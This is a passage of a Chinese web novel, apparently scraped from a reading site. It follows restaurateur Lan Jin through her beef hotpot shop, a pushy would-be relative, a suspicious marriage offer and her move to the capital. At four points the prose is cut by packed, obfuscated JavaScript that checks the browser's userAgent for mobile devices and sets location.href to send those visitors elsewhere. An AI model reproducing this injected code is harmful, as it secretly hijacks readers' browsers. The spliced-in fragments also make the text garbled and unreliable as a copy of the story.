l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137485|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记饮食店远多了，可架不住太后盖章的嘉名，蓝记的名声更上一层楼。好奇的昭应人民，乃至他处的食客，四面八方地涌来这个小小的田庄。 这个锅子店看着门脸不大，实际占地要比四五个蓝记酒楼还多。只因它是前头开店，后头养牛。中间隔了一片曲水流觞、种满奇花异草的中庭。风景雅致，清香宜人。 穿梭其间的伙计厮波脚程快，刚宰杀的鲜红牛肉处理干净，一块块地运往前头食店的厨房里。 厨房就像蓝记饮食店那般，并不封口，现下开的窗口更大。十好几位厨子们一字排开，快速地手起刀落，案板上的牛肉如雪花坠落，令人眼花缭乱。 如是，一大盘子花一般的牛肉片端上客人的桌子时，那肥美白嫩的肌间脂肪亮津津的，鲜红的肌肉还在颤颤地弹跳！ 新鲜，新鲜极了，这能不好吃吗！ 蓝锦包了头巾，浑身短打，人利落，手也麻利。左手拿着一个大笊篱，右手拿一双长筷子。 “客人请看，这牛肉火锅，讲究文火涮肉，水开之后，用那小火，不要叫它沸腾。” “涮的时候，讲究三上三下。一吊去血水，二吊去酸气，三吊软肌理。” “不过须臾之间，捞起离了水，用自己的筷子展开，不要耽搁，立刻送进嘴里。” 长筷子一搅，只见那薄如蝉翼的鲜红牛肉片，被汆烫去了血水，变得艳红发褐。蓝锦拎起笊篱，霎那间被满桌的筷子一抢而空。 “缘何我这蓝记的锅子不一般呐，就因为我们继承了一位丁姓厨子的遗志，最善解牛。牛身上的部位按口感肥瘦分了类。” “您看桌上的图，墙上也有面大的。” 果然，一只空心牛叫画笔大卸八块，白底红线，各个写上了不同的名字：匙仁、匙柄、吊龙、吊龙伴、嫩肉、牛舌、胸口朥、肥胼、三花趾、五花趾…… 喔，好厉害的样子，看不懂！但好像很好吃！ “觉着不熟悉不打紧，您吃一次，就知其中趣味。” “蓝大掌柜，这不同的部位，哪个最好吃啊！”挑花眼的客人想问问饮食权威。 “各花入各眼，我就最爱吊龙，甜美滑嫩，爽口却不腻人。” “我们自家内评，有人就最爱花趾，那是牛腱子最最当心的位置呐。涮成个小窝窝，嚼起来筋肉相间，脆，弹，嫩。尤其这五条筋的五花趾，一头牛身上不过才出一斤多点呐。” “其实样样都好吃，您若想渐入佳境，最好是先吃牛肉丸、牛筋丸、牛嫩肉，又吃花趾，接着吃匙柄和匙仁，再吃吊龙和吊龙伴，最后拿那肥胼和胸口朥润口，这才叫大完满。” “您放心，我家都选的是三岁的母黄牛，肉质优中之优，顶适合涮锅子。那公黄牛都只用来打肉丸子罢了！” 蓝锦正说得起劲，却见悟雅一个劲地朝自己使眼色。先把手里的工具送给客人，劝他们慢用，快步回了里间。 “蓝姐姐，门外，门外来了个贵夫人，哭得不行，你快去看看吧！” “她，她说她是你娘！” 35. 小院烧烤局 “儿啊！我苦命的儿啊！可怜你自小离了家，在这穷乡僻壤摸爬……瞧瞧这手，都皴成这副模样，看着比我的年纪还老上几分啊……” 穿锦着玉的贵夫人满头珠翠，涂了艳红丹蔻的手指像铁钩似的，一把攥住刚走出来的蓝锦。 蓝锦：“……” 讨厌没有边界感的长辈！ 还是八竿子打不着，突然冒出来端长辈架子的那种！ 蓝锦皮笑肉不笑：“这位夫人，您面相红润，想是饭食用得不错吧？打这儿往东走二里地，有一个小土丘，您去那儿多转几步，消消食。” 来人根本不理，自顾自哭诉着： “我的儿啊！自从姐姐走后，我日日想你盼你，人都熬坏了身子，就怕辜负了先夫人的遗愿。人心都是肉长啊，那可是我亲姐姐啊，即便你不认我，我，我怎么可能不疼你啊！” 蓝锦用力往回抽被攥得死紧的双手，试了几下都没成功，腕子上立马几道红痕。 她不伺候了，把手狠狠一甩。面上却笑着，语气也温柔：“夫人还请说清楚，我们家就姐妹两个。往常不是没有眼红家里产业，上赶着攀关系捞好处的。夫人不能是那种人，对也不对？” 翁十娘因着蓝锦的动作话语，打了个突，人停了一瞬，也不好继续再捡回来哭。 半推半就地叫悟雅和蓝锦一人一边，架进厢房去了。 “说罢，又是哪一家派你来的。”蓝锦好整以暇地坐下。 翁十娘先把眼珠滴溜溜地转了一圈，这厢房里的摆设好富贵！ 单看那玉净瓶，便是天都博古斋上好的成色，这里就这样随意摆在墙角。她这趟，来对了。 “锦娘，你这孩子恁地狠心，人走到了家门口，却都不想着进门看一看……” 眼见她又要使一些歪缠绑架的招数，蓝锦不耐烦地伸手打断：“说重点。” 原来，萱花酿的名声打出去之后，浔阳侯徐家的下人们也议论了起来。 “诶，我那日上街采买，搁荣宝楼门口见过那位蓝掌柜。长得，就跟头先那位夫人，一个模子刻出来似的！” 一个脸生的小厮把人聚拢在一块，小声嘀咕着。 “提那位也不怕犯忌讳。还有，你才刚来，知道先夫人长什么样子嘛。” “我是家生子，那年……全家都被赶去庄子上了，所以你不熟悉我，嘿嘿。但我讲的，可是真真的啊，不信你们自家去瞧。”小厮拍胸脯。 等流言纷杂地传到徐家大夫人翁十娘的耳朵中时，一道进来的，还有萧国公府萧老太君的手书。 翁十娘心思百转千回，翻出一个尘封的箱子，鼓捣一阵，去找自家相公。 “锦娘！这可是我姐姐——这可是你亲娘的一番心血，病榻上点灯熬油地为你筹划，临走前再三敲定的亲事。” 翻出来一支赤金攒心簪，其上的朱雀纹，蓝锦认出来了，和她脖颈间长命锁上的一模一样。 “那年你顽皮，府上设宴的时节，硬要去外家。谁成想一去不回，把我母亲——把你外婆惊得，差点没把全城翻个底朝天。” “一径查到万年县，匪窝都清理了几个。终是查到几个拐子，能用的手段都使上了，才查出来你被人绑去，跳了车，自山崖下滚将下去……” “去翻找了，活不见人，死不见尸，唉。偏你外婆还不肯信，只以为他们说谎。又去天南海北地找，宫女仆役，连秦楼那种地方……白花花的银子大把大把地撒呀……哎哟……” “可怜我儿，才十四岁啊，花骨朵一样的年纪。唉，你自小就是乖乖巧巧的，就不是那样能出门的性子，偏那天任了性子。都怪我！是我没有替姐姐看好你啊！” “想是这萱花酿的名字起得好，合该是母女团聚……” 蓝锦冷冷地听着，就算她不记得事情的全貌，闻言也是心寒。 一个十四岁的女孩子，自家抱了小狗，跳了车——被小秋家里救下的时候，已经十六岁了！ 她这一两年怎么活下来的？缘何一个人从万年县辗转来了昭应县的山里？蓝锦不敢去想。 现在一个巴巴来找的“家人”，也是在自家名声大噪之后，才上了门的。 女儿及笄订亲前夕娘亲还在，缘何一转脸就是你这个“姐姐”长“姐姐”短的来做母亲？ 一时说她顽皮，一时说她乖巧，全都没有他们的责任。 设宴？设的什么宴，让女孩子任起性来？ 执着找人的不是你，心疼银子倒积极。 蓝锦耐心已经耗尽，只敷衍道：“如今我这里等闲忙不开，夫人您也看到了，待我抽出时间，定上门拜访。” 端起茶来，要送客了。 翁十娘见没了希望，一抹脸，也不顾才刚的哭意，只道：“都说蓝大掌柜冷情自私，今日真是见识了。” 还要再说出什么不中听的，身高马大的悟雅逼近一步，翁十娘仰脸对着头顶的阴影，不甘不愿地咽了回去。 蓝锦就跟什么都没发生似的，往客人间一站，笑着招呼大家调小料。 “蓝小娘子，你这蘸料做得好，没见过，好吃！” 还是悟雅把她拉去了一边：“蓝姐姐，你，你还好吗？” 蓝锦把手往围裙上一擦：“我很好啊，我有什么不好的。还是赚钱要紧，再和那样的人歪缠下去，耽误多少揽客的时间。我还没跟客人介绍小料什么吃法！” “蓝姐姐，你写得够详尽了，伙计在帮忙，客人也吃得高兴。” “这样就好，我倒多虑了呀。”蓝锦还是笑得梨涡深深。 “蓝姐姐，你若难过，我就去下个绊马索，叫刚才那人灰扑扑地跌一跤，好不好？”悟雅皱着眉，认真地建议。 蓝锦不答，人沉默着。 悟雅继续道：“蓝姐姐，你好好的平白被这样对待，该生气，也该休息。就像你当时接我回来的那样。没有叫我下厨干活，是给了我好大一份吃的——我自己一份，不用跟人分；还让我去香香软软的床铺上，睡了好舒服的一觉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141590|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “蓝姐姐，你也先去睡上一觉，行不行？” 蓝锦把脸埋在手里，用力揉了揉：“悟雅，小秋该下学了吧？我们接上小秋，今日去小院里烤串，好不好？” 悟雅高兴了：“好！” 夜星初现，灯火通明，大晚上的聚众吃烤串，是最热闹欢腾的事了。 羊肉一块瘦一块肥，一把一把地在炭火上欢腾地往下滴着油，冒出“滋滋”的响声。 窜起的火舌舔舐着，包裹着，刷了辣椒面、孜然粒和胡椒面的肉串被燎起焦边。随着不断的翻面、挤压，火星子簌簌地激发着肉香，又落到炭盆里。 一群人流着口水，举着自己选定的串，围在旁边等着。 “好香啊！好香啊！”沉醉得像是醉猫掉酒缸里一样，站都站不稳了的，是小秋。 悟雅把手里的藕片穿完，过来挤着蓝锦替她：“蓝姐姐快去吃！” 牙关一锁，扭头一扯，把一个肥瘦相间的羊肉串吃进去一大半，满口鼓囊囊的，满足地嚼着。 油香混合着肉香，满嘴都是汁水，多余的油被烤了出去，吃着不腻。孜然的香气浓郁，和烤串是绝配。 这羊肉虽然边缘焦脆，入口却一点也不嫌老，不塞牙也不费嚼头。外脆里嫩，特别是那羊油，好像一大块奶砖化进了嘴里。 悟雅又送来一把大油边。东北最爱这样的吃法，咸香油润，嫩得没边了，比普通的肉还要美味。 越嚼越香，正是这样大口吃肉，足以驱散世间一切烦心事。 蔬菜也不逊色。烤了的藕片别有一种清香，掺着肉吃，又解腻又有风味。烤土豆片被切得薄薄的，上面撒了细细的辣椒粉，艮艮的一口一片。 还有一大把软豆皮，吸足了味道，从签子上扯下来，拿舌头卷进嘴里。软，香，嫩，肉头，一片又一片停不下来。 云江望本是纯粹的肉食崇拜者，叫热爱尝试新鲜的霍旭云一带，也往蔬菜串那里伸手。 谁吃谁烤，她把菌菇、落苏（茄子）、扁草（韭菜）都放到铁网上，刷酱撒料，直往肚子里咽口水。 落苏吸味道，咸咸的，内里还保留着汁水。霍旭云翘着嘴唇呲着牙，一边嚎着“烫烫烫”，一边急得像咬着自己尾巴团团转的小狗，锲而不舍地吃进嘴里。 秋风吹拂小院，蓝锦被这些自己“捡”来的家人簇拥着，心中觉得平和又满足。 几个人都不去做板凳，扯个蒲团，在堂屋门口的台阶牙子上席地而坐，有人还坐到了桌子上。 “那人真是的，蓝姐姐辛苦的时候不见她出现，现在倒过来说一些让人不舒服的话。” “狗皮膏药似的，挑又挑不出大错，甩又甩不脱。她要再来，蓝姐姐怎么打算？” “她还敢来？那我们套了麻袋，吓唬她一顿。或是拆了她家车辙，叫她也尝尝被意外膈应的感觉。” 蓝锦扶额：“别太乱来。我有钱有闲，怕她么？再来再和她周旋就是了。只有千日做贼的，哪有千日防贼，要紧的还是得看看她想干嘛。” 36. 牛肉来开会 锅子里的牛肉汤气味勾人馋虫，鼎沸的人声混杂着袅袅的热气，火锅店的生意一天好过一天。 远道而来的客人赞道：“小娘子巧思，别处吃不到这样的精细。” “还有这沙茶酱也好吃啊，里头有海鲜味，还有葱头味，鲜得不得了。我要问怎么做的，掌柜的不告诉我，嘿嘿。” “客官只要想吃，就来我这蓝记牛肉火锅店，把手一伸，美味就送到嘴边了。不走样不费事，多划算的买卖。”蓝锦把一碟子白花花的粿条往桌上一搁。 近日供货量逐渐稳定，蓝锦新上了粿条，也就是扁扁的河粉。 吃完了牛肉，涮得了蔬菜，再把粿条往锅里一涮一捞，裹了满满的沙茶酱、海鲜酱油、小米辣、小青桔汁，味道是新奇的别致。 粿条软弹爽滑，带一点恰到好处的韧劲，又不是咬不断的那一种，越吃越能吃出来米制品的纯香。 单看那一筷子一筷子不停往嘴里送的吃相，就知道此物有多美味了！ 蓝锦上新货是没有停过的。前日上了一锅卤牛腩，那咸香，那软烂，恨不得像没吃似的全化在嘴里。牛筋肥嘟嘟的，烂乎的像是一汪水，吸溜一下，荤香满嘴。 每一根肉丝都浸满了调味复合的卤汁，让人怀疑，怎么会吃一口，就上了瘾了？ 恨不得每天都能吃一坛子的那种美味！ 还有牛肉干，这原是蓝锦自己的小爱好。她来者不拒，含水量足的，软嫩肥美的，她喜欢；风干得厉害，嚼劲十足，余味悠长，她也爱。 有麻辣的、五香的、孜然的、蜂蜜咸甜的...... 一经上了市，客人立刻追捧。连那上学堂的孩童，也要悄悄地拿书遮面，以为人不知鬼不觉地往口中塞牛肉干。 不能吃辣，偏还买辣的。憋得小脸通红，额角冒出细汗，还有把嘴闭得紧紧的，生怕味道跑走一丝。 晚市还上了牛肉粥，以砂锅盛着，当心窝了一个半生不熟的蛋。滚烫的米粥掺杂着牛肉末和大片的牛肉，被熬出来的大米胶质，给牛肉上了一层滑嫩的浆。 拿勺子一搅拌，蛋黄融进牛肉粥里，被渐渐焖得熟透。香味一下子被激发出来，只往人鼻子里钻。 大冷的天，来上一碗温暖鲜香的粥，从嗓子眼一路到胃里都是熨帖的。 “小娘子还是那么爱翻花样。一日不来你家，我都觉得亏得慌，生怕你哪日又下市了什么，我没吃上！” 蓝锦笑笑不语，只是一味地上新。 为情怀，为复古，复刻了自家还在摆小摊子时，颇有记忆点的招牌——锅贴、煎包。 只是这回用全发面做了牛肉包子，煎饺也换了牛肉馅。 比起猪肉，蓝锦自己还是更爱吃牛肉多些。当时为了成本，现下可毫无顾虑了。 牛肉煎包个个发得像小拳头似的，两面都煎得油光发亮，起了焦褐的嘎巴。 咬得时候可得当心，不能一大口把双面嘎巴都咬破——那就叫烫着了！须得先咬一个口子，吹上几口凉气，看那汤汁子不冒滚滚浓烟了，一口塞进嘴里。 肉满汁浓，面香而暄，满足！ 牛肉煎饺就更特别了。现下不比小摊子，由散装变整盘，蓝锦把普通锅贴改作冰花煎饺，使淀粉水往底下一激，滋滋啦啦。 再把锅往盘子上一倒，一整面雪花状的红褐脆壳就出现在眼前。 这样完美的结构，只有大自然的鬼斧神工才能媲美一二！ 客人显然没有见过这个阵仗，个个拍手叫绝：“蓝大掌柜，什么东西一经你的手，都能给点化了。” “街头小食，也全然登得起大雅之堂！” 个个饶有兴致地拿筷子去戳，冰花酥脆，吃起来还带点咸味，使得煎饺油香更盛。 有那挑食的小孩子，为了吃“花”，能一口气吃下好几个饺子呐。 “蓝小娘子，城中也有仿你这牛肉锅子的。可是他们肉不够新鲜，我现在已经叫小娘子家养刁了嘴，那不是三岁母黄牛的肉，不是刚杀的还跳着动的肉，我都进不了嘴嘞。” “哎嗨，就算不为吃肉，小娘子家的调料台也是旁处学不来的！有花椒、胡椒，这样贵价香料，芫菜、香芹末、香葱花，也拾掇得利利索索的，任我们吃呀。” “蓝小娘子打从一开始做生意就实在，挣的钱全给我们买好料了，你们才知道哇？” “蓝记的酱油也不是别处好比的，我反正是从未吃过，这种又鲜又醇厚的好味道！拿这个往我嘴里一倒，我都得把自己舌头吞下去！” 蓝锦觉得好笑，又给每一桌夸自己的食客都送了一大盘生菜。 “自家种的，我改良了的。这个你们在旁处也吃不着。又香又甜又脆口，空口吃都好吃。” “果真如此，就说蓝小娘子最懂吃了！为这菜叶子，我也得日日来，来夸蓝记的好，哈哈。” 就是这样人气旺盛、氛围愉快的时候，翁十娘又来了。 全然换了一副面孔，脸上笑得真心实意，比那落在地上爆裂开的石榴还饱满。 “锦娘啊，我可给你带喜事来了！” “你就要和萧国公府的世子爷成亲了！” 一旁的熟客老神在在，向自家一脸八卦打算吃瓜的朋友使眼色：“成不了，蓝小娘子不嫁人的。” 翁十娘挣开悟雅推搡自己出门的胳膊，大声叫道：“哎哎，先别急，听我说完呐。” “他病得快死了！过门就是寡妇，他是家里独苗，双亲也亡故，阖府只剩一个吃斋念佛的老太君。” 旁边的食客已经小声地议论起来：“这夫人是来结亲的，还是结仇的啊。” 悟雅都楞得没想起来拦人，双手悬在半空中，眼睛睁得大大的。 蓝锦倒是来了兴致，一挑眉，噢？今天这是什么意思，突然换了画风。 翁十娘趁这个空隙钻到蓝锦跟前：“拟了合约的，白纸黑字都写好了。原是你们八字合得好，为着从小订的亲事，又为着冲一冲喜。若人不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146013|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，还尊你是萧国公府少夫人，阖府都给你手里啦。” “哎你放心，若人好了，仍是分少夫人一半家财，谢你的大义，当救命恩人看待。约了三年，届时去留随意。” “也是一片苦心，就为着搏一线生机。人家伽蓝寺高僧给算了，机缘就在你的身上。” “鬼神之事哪里好说，你就说，这是不是上上好的买卖？” 蓝锦机警地眯起了一双眼，好，实在是太好了。 好得像是给她量身定制的一个套。 这样不尴不尬的际遇，生于厮长于厮的女娘们，哪一个会上赶着跳？ 从小被培育成会计、理财师、外宣、高管的全能闺秀们，哪里会甘心去这里施展才华。 这样一个出嫁从夫、夫死从子、养儿防老的社会里，谁会愿意在大宅院里做一个无子的外姓人？ 退一万步说，就算是有这样的女娘，人家也不会一见面，就拿今天对她讲的说辞来自卖自夸。 以嫁人为志业的女娘们，就算为了钱同意了，进展也顺利，二嫁时也甩不脱这个赤裸裸的标签。 另外，人丁稀薄，鬼神玄妙，怎么看都是晦气嘛。 这是一个十分了解她的人，给她设的套。 蓝锦不得不去想，她跟二皇子聊过几句，从哪里暴露出了自己的性情喜好，叫他拐弯抹角地，不知想干点什么来坑害自家。 她审慎地忖度，面前的翁十娘，究竟早就是他船上的人，还是一枚小棋子，来执行临时起意的合作。 翁十娘坐立不安地待在和上回一模一样的厢房里，再也没了四处乱看的心情。 自家弟弟欠的赌债愈来愈多，愈来愈多，挪用公账的亏空再也遮掩不下去了，就在暴露的边缘。 不管是认回了亲，有了酒楼的进账，还是促成了亲事，她才能有获救的希望。 蓝锦不动声色，把一盏茶品了又品，翁十娘渐渐扛不住她的忽视和偶然一瞥即过的目光。 “翁夫人，我就这样叫你吧。我这里有个助人怀孕的食方，夫人是需要还是不需要？” 翁十娘倏地一下站起来了，右手把裙摆攥得青筋爆出：“你...果真吗？” 蓝锦神色自若：“这不是一朝一夕的调养，我观夫人年纪，不过比我大上几岁，完全用得着。” 翁十娘埋着头，声音低低地开口：“你开个价码。” “不要金，也不要银，只要夫人你，跟我说说，是谁教你来找我，讲出今天这番话的。” 蓝锦拈起翁十娘涂了丹蔻的纤指，绵软无力。捉起她的指尖，让她抚自己的脸。那艳红的指甲衬着苍白发抖的面色，也不知是气的，还是怕的。 “夫人青春貌美，一朝脑热蹉跎在深宅里，这滋味不好受吧？若不给自己谋个出路，夫人这下半生，可怎么过呀？嗯？” 翁十娘觉得胃里一阵痉挛，哆嗦着开了口：“是，是一个黑衣小厮，前几日找上门，我并不知他主人是谁...” 37. 八宝葫芦鸭 “萱花酿刚传出来的第二日，就上过门，暗示我去找你认亲......”翁十娘的手绞着裙摆，眼神飘忽。 “前几日我从昭应回去，又来找过我一次......” 这就对得上了。 蓝锦忆起那影影绰绰窥伺自己的黑影，谁曾想他那么不死心？ 这也忒小心眼了，就为着小商贾的一笔银钱，表面上潇洒大度，背地里这样百般算计她。 他们那些人也太把自己的面子当回事了吧？ 蓝锦慢慢收回手，把玩着翁十娘髻上金钗的流苏末梢。 懒洋洋道：“夫人，你就回去跟他说，这门亲事，我应下了。”与其纵虎归山，不如将计就计。 翁十娘心下狂喜，也顾不得去想蓝锦突然转变的态度，一张面孔乐得像娓娓盛开的红莲花。 街上车水马龙，走街串巷的货郎叫卖声声，有麦芽糖小摊的拨浪鼓响，引来举着风车笑闹的孩童。 蓝锦走进一家黑涂涂的当铺，门槛高，叫阳光里的灰尘扑了下眼睛。 “咳，咳，”蓝锦拿手掌扇了几下，“掌柜的，我要赎这枚玉佩。” 伙计接了条子，转身核对了一圈，“客官，您这个玉佩，当的可是死当呀。现下，早就不知被哪位贵人买走了，可没处赎去了。” 蓝锦蹙起了眉：“怎么会，是活当，二十两。你们莫不是录错了？当时一起当的小物件是死当，九两银。” “错不了，您看，这儿写着不是？二十九两，死当，耳铛一副，素钗一支，玉佩一枚。您姓蓝不是？” 蓝锦接过来一看，那张纸上却是这样的写。笔迹一致，没有涂改的痕迹。 这一页都是这么规整无暇。笔迹匀称，甚至墨迹都深浅一致，纸张新旧程度合理，没有涂改。 没有问题，本身就是问题。蓝锦慢慢把账本还给栅栏格里头的伙计，扬起一个笑：“想是我记错了，扰了您的生意，勿怪。” 她的直觉是对的，这玉佩，果然有点问题。 冥冥之中，蓝锦乍然想起另一张栅栏格后的面孔。萧曼娘低沉地凑近她：“我知道你与天都萧家有亲......” 翁十娘说那个嫁去就当寡妇拿钱的门户是哪家来着？好像是萧国公府。 蓝锦觉得在不为人知的地方，有人织起一张大网，逐渐地捕获她，她却连对手都看不清楚。 拿这玉佩是在人迹罕至的大山里，若是这个局从她一穷二百的时候就设起来了，那也太可怕了吧？！ 原身这个坚韧又可怜的小姑娘究竟遭遇了什么...... 去天都开新店的准备事宜做得差不多了。蓝锦将手艺最好的汪厨子聘做蓝记私厨的代理掌柜，把蓝记大酒楼托付到了罗满仓罗大娘手里。 蓝记牛肉火锅本想叫悟雅留下照管，谁想到悟雅小脸苦得难看，抱着酒钱不撒手，扯着蓝锦的衣角，四只湿漉漉的黑眼珠把她盯住：“蓝姐姐别不要我......” 蓝锦这下真是哭笑不得了，柔柔道：“你在想些什么？小秋转书院还需慢慢物色一阵，许多事要人留下看着。我信任你还来不及，还把责任最重大的新店叫你管着，怎么说是不要你。” 悟雅对手指：“我舍不得蓝姐姐，一定要跟你一起去。你稀里糊涂就答应了嫁人，还要认去别人家做家人了。你不要我和小秋了！我好难受，好难受好难受！” 居然稀里哗啦地哭了起来，眼泪叭嗒叭嗒地滴到酒钱雪白的卷毛上。 酒钱把两只前爪扒住蓝锦的胳膊，口中呜呜作响，焦躁地拨来拨去。 蓝锦轻柔地拭去悟雅脸蛋上的泪痕，一手把酒钱托在怀里，一手去搂住悟雅的脖颈：“对不起，悟雅。最近我忙着料理自己的事，忽视你们良多。” “我向你保证，你，我，小秋，酒钱，我们永远都是一家人。我是担心有人在背后捣鬼，眼红我们家的运道。所以借这个机会，亲自去探探是人是鬼。” “而且，我们不是早就商量过，要把蓝记开遍五湖四海，让天下的人都尝尝你家小娘子的、盘古开天以来无人能敌的饭食吗？我请你管昭应的店面，也是向外迈的第一步呀。” “若你想和我一起去，那我就另聘一个掌柜的，再请妙清师太多看顾这里，她离这也最近。好吗？” 悟雅破涕为笑了：“我就知道蓝姐姐不会不要我们的。” 小秋对此的反应倒是另一个画风。她像没去书院时的小孩子一样，攀着蓝锦的脖颈，在她耳侧轻轻说：“姐姐，你不是说你再也不会回那个家了吗？” 蓝锦心下微动，略一思忖，也悄悄地凑在小秋耳侧轻声说：“回去找一找大坏蛋。” 小秋一下就领会了，拍手道：“好，姐姐终于要去把他们判刑一百次了！” 蓝锦笑着揉揉小秋愈发浓黑的头发： “别担心啦，洛姐姐今天来么？” “我下学时和她说了，霍山长和明山长也都来，沈姐姐和桑姐姐也来。” 蓝锦打算办一场分别宴，好好谢谢这些时日大家的照顾。 大伙团团坐满了两大张圆桌，中心摆的那道菜是八宝葫芦鸭。 鸭皮金黄油亮的，“倒像个搁在多宝阁上的琥珀摆件！”是任何时间都无忧无虑的云江望在拍大腿。 脆壳泛着光泽，外皮紧致光滑。蓝锦执刀轻轻一划，香气刹那爆发，像是把田野上所有的新稻烹煮在一锅，醇厚的肉香带着一丝香甜的气息，绕着人的鼻尖打转。 挖一勺到眼前，糯米粒粒分明，每一颗都是浅褐色，浸裹着一层润泽的鸭肉脂肪。 送进嘴里，脆嫩的笋尖咯吱咯吱地被咬开。咸鲜十足的，是干贝和火腿，彷佛静静的白桦林中陡然扑簌簌地飞出的几只黄莺一样出挑。 咬起来艮艮又醇厚的是猪瘦肉、鸭胗和香菇，肉香四溢。绵软甘甜的是薏仁米和芡实，在荤香中自带一种意趣。 糯米的甜润巧妙地把这些交织到一起，引导着各种风味在口腔中争先恐后地一浪高过一浪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149765|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 扯下一片软烂的鸭肉盖在八宝馅上，外皮酥香脆口，肉质软嫩不柴，一入口就鲜味四溢，出乎意料地融化在了口中似的，浓郁和清淡恰到好处地相互搭配。 这鸭子是整只脱骨的，不能吃的地方已经被精细地去了干净，偏偏外皮还是完整的。每一大口都是纯粹的美味，视觉和味觉全都有十足幸福的体验。 “妙啊！真妙！蓝姐姐不愧是饮食天才，这个葫芦鸭形似其名，娇俏可爱，好想叫个个鸭子都长成这样！” “是极是极，两个圆咕隆咚的球拼在一起，可爱可爱。我可算懂了，为何我阿奶这么喜欢葫芦，说着什么福禄双全的。若葫芦都是蓝姐姐家这样的，我也爱，爱得天天拿勺子去啃。” 蓝锦就知道她们是这个反应，又笑着端来一份孩子最爱的炸茄盒与炸藕盒。 连大孩童妙清师太也垂涎欲滴，那冒着热气、金黄焦亮的茄盒藕盒一端上桌，她就立即搛起一片又一片往嘴里送。落苏（茄子）裹了薄薄一层调过味的面糊，经了几重炸制，外酥里软。 那牙齿破开这层小小的盔甲，就见着了一圈油亮的紫色外皮。这菜要趁热吃，落苏肉吸饱了肉馅的鲜香，汁水丰饶，香糯中还透着一股食材本身的甜味。 藕盒的孔洞拦不住饱满的肉馅，空隙都叫肉末填得满当当，被油炸得干香焦脆。轻薄酥脆的炸衣一咬就“咔嚓”作响，爽脆的藕块在唇齿间也颇有存在感。 清甜的藕香伴随着细腻醇厚的肉馅，伴随着椒盐咸香，直叫人不顾滚烫，嘶哈着嘴巴也要吞进肚里。 因是炸货，蓝锦配了蘸料，一点香醋，一道只香不辣的辣椒面，还有一道小秋点名要的番茄酱。 不管蘸哪一种配料，都能叫原本就足够诱人的炸货再添几层风味，滋味在舌尖缠绕，经久不散。 就连霍鸿飞和明翊都是一口接一口，全然摆不起山长架子。吃得停不下来，留恋着唇齿间那股独特的香酥气。 若说在座的谁最不舍，当属桑远谯和沈苏琰，吃得快挂上两根宽面泪：“好吃，真好吃，鸭肉怎么也能这么香嫩。” “世上还有茄盒藕盒这种神仙吃法！我要叫我家厨房也学。” “蓝姐姐，若是你不走就好了。她们吃过的东西都比我们多好多！这下你一走，我们又不知何年何月才能吃上这样好的饭菜。” 云江望抢白她：“那你以后考上白鹿书院，去了天都，照样能吃，别给蓝姐姐泄气嘛！蓝姐姐要去天都开大大大酒楼的！” 霍鸿飞放下筷子，正色道：“蓝小娘子，你真的想好了要孤身去天都吗？那确实不是一个简单的地方。” 蓝锦咽下口中的饭食，拿帕子一拭嘴角：“谢霍娘子关怀。不是孤身，悟雅随我一道。待我置了宅院，打点好了，就把小秋接过去。过去麻烦了二位山长这许多，还得厚颜托您再关照一段时日。” 霍鸿飞倒有些讶然：“你不打算去浔阳侯徐家？” 蓝锦道：“徐家是要去的，但不是现在。” 38. 烤鸭荷叶饼 碧水环绕的天都城，天子脚下，富贵尽显。 临近黄昏，都城酒肆里的新贵“蓝记品味”也迎来了一天中最繁忙的时候。 叮铃的脆响是客人酒酣耳热时举杯相撞的声音，清竹香从四面八方的香炉中飘出，浓淡适宜。 酒楼正中，身着绿色长衫的琴师俯首弹奏，在繁华喧嚷的闹市中，辟开一处桃花源般的秘境。 此地两面绕水，活水被引入楼中小池塘。其间游鱼翩跹，供客人现点现烹。 远处楼台明灭，灯火如星，近处随波曳动的画舫流光溢彩，酒旗茶幌在夜风中飘摇。 “客官，您的菜来啦，精品烤鸭一份！” 身着白色短打的伙计灵活地从人群中穿梭而来，高声报菜名。迈着小碎步，捧着一个红褐檀木大盘， 一只褐红油香、香气逼人的鸭子端坐其上。 刀工师傅迅速接手，当着客人的面，在大厅里开始片鸭肉。 烤鸭滋滋冒油，空气中弥漫着清新的果木香。烤鸭外皮泛着莹润的光泽，每一寸都在叫嚣着炙烤多时的酥香。 纤薄的烤鸭连皮带肉地簌簌落下，被师傅整齐地码在洁白的长盘里。缕缕热气夹杂着荤香，钻进每一桌食客的鼻腔里，人人食指大动。 